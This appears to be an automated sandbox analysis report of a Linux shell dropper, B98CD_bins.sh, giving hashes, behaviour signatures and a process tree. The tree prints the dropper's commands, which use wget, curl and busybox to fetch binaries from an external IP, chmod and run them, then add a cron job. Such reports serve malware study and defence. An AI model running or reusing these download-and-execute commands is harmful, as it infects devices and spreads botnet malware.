Analysis
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max time kernel
149s -
max time network
151s -
platform
debian-9_mipsel -
resource
debian9-mipsel-20240729-en -
resource tags
arch:mipselimage:debian9-mipsel-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem -
submitted
21-11-2024 07:01
Static task
static1
Behavioral task
behavioral1
Sample
B98CD_bins.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
B98CD_bins.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
B98CD_bins.sh
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral4
Sample
B98CD_bins.sh
Resource
debian9-mipsel-20240729-en
General
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Target
B98CD_bins.sh
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Size
10KB
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MD5
0a7d8be88ccc96d0d1a91c27f63e3a6c
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SHA1
ba922eff12ebe57a6064f8773d16d9a51cde88f1
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SHA256
7b26e1067afb6e7ff3edc8cc34bd25819a0439cedcfefe6e8a9a28cb62b56277
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SHA512
3279e6ff5af91dc2a1ec24a55dcfa8fb40b686359dcc57febf40fa24673159ee6946521e9e8212d9ea533e160e94041cc66c442130019c5d3dc537cfb83e48b3
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SSDEEP
192:my+UaEM28EdM7z3479lW7LvcN1vL+Us+U0+UEdUTUHUFCOv9lMLv3BfBx7amn78V:nxMQiCSyW5dCyh/xCeyW5dCyY
Malware Config
Signatures
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Contacts a large (2061) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
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Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
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File and Directory Permissions Modification 1 TTPs 5 IoCs
Adversaries may modify file or directory permissions to evade defenses.
Processes:
chmodchmodchmodchmodchmodpid Process 808 chmod 822 chmod 748 chmod 756 chmod 773 chmod -
Executes dropped EXE 5 IoCs
Processes:
AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLIWm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aDjVULw0cLkzqn5Nvg0V0BLfOMCpqEcBTGPLUeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9Gioc pid Process /tmp/AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI 749 AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI /tmp/Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL 757 Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL /tmp/7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD 774 7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD /tmp/jVULw0cLkzqn5Nvg0V0BLfOMCpqEcBTGPL 809 jVULw0cLkzqn5Nvg0V0BLfOMCpqEcBTGPL /tmp/UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G 823 UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G -
Renames itself 1 IoCs
Processes:
UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9Gpid Process 824 UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G -
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
Processes:
crontabdescription ioc Process File opened for modification /var/spool/cron/crontabs/tmp.NgRAZa crontab -
Enumerates running processes
Discovers information about currently running processes on the system
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Processes:
UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9Gdescription ioc Process File opened for reading /proc/1096/cmdline UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G File opened for reading /proc/75/cmdline UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G File opened for reading /proc/834/cmdline UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G File opened for reading /proc/882/cmdline UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G File opened for reading /proc/890/cmdline UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G File opened for reading /proc/1009/cmdline UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G File opened for reading /proc/1012/cmdline UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G File opened for reading /proc/1057/cmdline UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G File opened for reading /proc/1098/cmdline UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G File opened for reading /proc/1164/cmdline UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G File opened for reading /proc/1174/cmdline UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G File opened for reading /proc/1177/cmdline UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G File opened for reading /proc/840/cmdline UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G File opened for reading /proc/846/cmdline UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G File opened for reading /proc/852/cmdline UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G File opened for reading /proc/903/cmdline UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G File opened for reading /proc/968/cmdline UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G File opened for reading /proc/1081/cmdline UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G File opened for reading /proc/82/cmdline UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G File opened for reading /proc/371/cmdline UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G File opened for reading /proc/867/cmdline UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G File opened for reading /proc/905/cmdline UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G File opened for reading /proc/943/cmdline UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G File opened for reading /proc/961/cmdline UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G File opened for reading /proc/844/cmdline UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G File opened for reading /proc/939/cmdline UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G File opened for reading /proc/1024/cmdline UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G File opened for reading /proc/1122/cmdline UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G File opened for reading /proc/22/cmdline UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G File opened for reading /proc/381/cmdline UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G File opened for reading /proc/1041/cmdline UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G File opened for reading /proc/1112/cmdline UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G File opened for reading /proc/1116/cmdline UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G File opened for reading /proc/1000/cmdline UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G File opened for reading /proc/1019/cmdline UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G File opened for reading /proc/1140/cmdline UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G File opened for reading /proc/1110/cmdline UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G File opened for reading /proc/17/cmdline UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G File opened for reading /proc/81/cmdline UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G File opened for reading /proc/888/cmdline UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G File opened for reading /proc/909/cmdline UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G File opened for reading /proc/948/cmdline UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G File opened for reading /proc/976/cmdline UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G File opened for reading /proc/1034/cmdline UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G File opened for reading /proc/872/cmdline UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G File opened for reading /proc/879/cmdline UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G File opened for reading /proc/1060/cmdline UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G File opened for reading /proc/1071/cmdline UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G File opened for reading /proc/1160/cmdline UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G File opened for reading /proc/1163/cmdline UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G File opened for reading /proc/4/cmdline UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G File opened for reading /proc/854/cmdline UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G File opened for reading /proc/884/cmdline UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G File opened for reading /proc/891/cmdline UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G File opened for reading /proc/1062/cmdline UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G File opened for reading /proc/1088/cmdline UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G File opened for reading /proc/1117/cmdline UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G File opened for reading /proc/1176/cmdline UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G File opened for reading /proc/11/cmdline UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G File opened for reading /proc/978/cmdline UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G File opened for reading /proc/1084/cmdline UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G File opened for reading /proc/1045/cmdline UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G File opened for reading /proc/1053/cmdline UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G File opened for reading /proc/1076/cmdline UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G -
Writes file to tmp directory 15 IoCs
Malware often drops required files in the /tmp directory.
Processes:
wgetbusyboxcurlcurlwgetcurlbusyboxwgetwgetbusyboxcurlbusyboxcurlbusyboxwgetdescription ioc Process File opened for modification /tmp/Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL wget File opened for modification /tmp/Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL busybox File opened for modification /tmp/7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD curl File opened for modification /tmp/UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G curl File opened for modification /tmp/7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD wget File opened for modification /tmp/jVULw0cLkzqn5Nvg0V0BLfOMCpqEcBTGPL curl File opened for modification /tmp/jVULw0cLkzqn5Nvg0V0BLfOMCpqEcBTGPL busybox File opened for modification /tmp/AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI wget File opened for modification /tmp/jVULw0cLkzqn5Nvg0V0BLfOMCpqEcBTGPL wget File opened for modification /tmp/UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G busybox File opened for modification /tmp/AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI curl File opened for modification /tmp/AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI busybox File opened for modification /tmp/Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL curl File opened for modification /tmp/7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD busybox File opened for modification /tmp/UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G wget
Processes
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/tmp/B98CD_bins.sh/tmp/B98CD_bins.sh1⤵PID:718
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/bin/rm/bin/rm bins.sh2⤵PID:721
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/usr/bin/wgetwget http://87.120.125.191/bins/AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI2⤵
- Writes file to tmp directory
PID:727
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/usr/bin/curlcurl -O http://87.120.125.191/bins/AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI2⤵
- Writes file to tmp directory
PID:737
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/bin/busybox/bin/busybox wget http://87.120.125.191/bins/AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI2⤵
- Writes file to tmp directory
PID:746
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/bin/chmodchmod 777 AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI2⤵
- File and Directory Permissions Modification
PID:748
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/tmp/AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI./AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI2⤵
- Executes dropped EXE
PID:749
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/bin/rmrm AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI2⤵PID:752
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/usr/bin/wgetwget http://87.120.125.191/bins/Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL2⤵
- Writes file to tmp directory
PID:753
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/usr/bin/curlcurl -O http://87.120.125.191/bins/Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL2⤵
- Writes file to tmp directory
PID:754
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/bin/busybox/bin/busybox wget http://87.120.125.191/bins/Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL2⤵
- Writes file to tmp directory
PID:755
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/bin/chmodchmod 777 Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL2⤵
- File and Directory Permissions Modification
PID:756
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/tmp/Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL./Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL2⤵
- Executes dropped EXE
PID:757
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/bin/rmrm Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL2⤵PID:759
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/usr/bin/wgetwget http://87.120.125.191/bins/7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD2⤵
- Writes file to tmp directory
PID:760
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/usr/bin/curlcurl -O http://87.120.125.191/bins/7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD2⤵
- Writes file to tmp directory
PID:761
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/bin/busybox/bin/busybox wget http://87.120.125.191/bins/7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD2⤵
- Writes file to tmp directory
PID:770
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/bin/chmodchmod 777 7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD2⤵
- File and Directory Permissions Modification
PID:773
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/tmp/7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD./7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD2⤵
- Executes dropped EXE
PID:774
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/bin/rmrm 7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD2⤵PID:778
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/usr/bin/wgetwget http://87.120.125.191/bins/jVULw0cLkzqn5Nvg0V0BLfOMCpqEcBTGPL2⤵
- Writes file to tmp directory
PID:779
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/usr/bin/curlcurl -O http://87.120.125.191/bins/jVULw0cLkzqn5Nvg0V0BLfOMCpqEcBTGPL2⤵
- Writes file to tmp directory
PID:787
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/bin/busybox/bin/busybox wget http://87.120.125.191/bins/jVULw0cLkzqn5Nvg0V0BLfOMCpqEcBTGPL2⤵
- Writes file to tmp directory
PID:802
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/bin/chmodchmod 777 jVULw0cLkzqn5Nvg0V0BLfOMCpqEcBTGPL2⤵
- File and Directory Permissions Modification
PID:808
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/tmp/jVULw0cLkzqn5Nvg0V0BLfOMCpqEcBTGPL./jVULw0cLkzqn5Nvg0V0BLfOMCpqEcBTGPL2⤵
- Executes dropped EXE
PID:809
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/bin/rmrm jVULw0cLkzqn5Nvg0V0BLfOMCpqEcBTGPL2⤵PID:813
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/usr/bin/wgetwget http://87.120.125.191/bins/UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G2⤵
- Writes file to tmp directory
PID:814
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/usr/bin/curlcurl -O http://87.120.125.191/bins/UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G2⤵
- Writes file to tmp directory
PID:820
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/bin/busybox/bin/busybox wget http://87.120.125.191/bins/UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G2⤵
- Writes file to tmp directory
PID:821
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/bin/chmodchmod 777 UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G2⤵
- File and Directory Permissions Modification
PID:822
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/tmp/UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G./UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G2⤵
- Executes dropped EXE
- Renames itself
- Reads runtime system information
PID:823 -
/bin/shsh -c "crontab -l"3⤵PID:825
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/usr/bin/crontabcrontab -l4⤵PID:826
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/bin/shsh -c "crontab -"3⤵PID:827
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/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
PID:828
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/bin/rmrm UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G2⤵PID:830
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/usr/bin/wgetwget http://87.120.125.191/bins/T70t952DDmCI9FMME49s5SlUXrw2wnwUUV2⤵PID:833
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
141KB
MD53ca8decdb1e52c423c521bfff02ac200
SHA18621ecd6807109b8541912ad9e134f6fb49bfd48
SHA256dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
SHA512b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a
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Filesize
107KB
MD5eb9c3a0de91fcf16ba17cb24608df68c
SHA109d95a7d70d5e115d103be51edff7c498d272fac
SHA256dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
SHA5129e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27
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Filesize
151KB
MD56c583043d91c55aa470c08c87058e917
SHA1abf65a5b9bba69980278ad09356e53de8bb89439
SHA2562d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
SHA51282ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5
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Filesize
98KB
MD55141342d0df8699fa32a6b066a0c592e
SHA18157673225bd5182f16215e2aa823a25ca2d4fbc
SHA25654302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
SHA512d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801
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Filesize
127KB
MD589077b7bd4bcafca7713be43635c4862
SHA1fc02edb8fba29ea8ee99e6157ef8560334530052
SHA25678416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
SHA5121b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1
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Filesize
210B
MD5b71840814d16f95943a1c983e084b6d4
SHA100bfa39b1edc24e4605383ec33c2984e26643eb0
SHA256e234b5f97e66901e6b54ffcb39f3b2bd3902a4c386cd79c8d977d4b1fc50a3d0
SHA51237703847c916cbb868836454aa384a7522ea2b3bdfd9c834b2f888cf1e74e3b67c37c5fac24cf6c64469fd82f26bc1614be8dfecb3fe4998eb575d67a6c6dcc1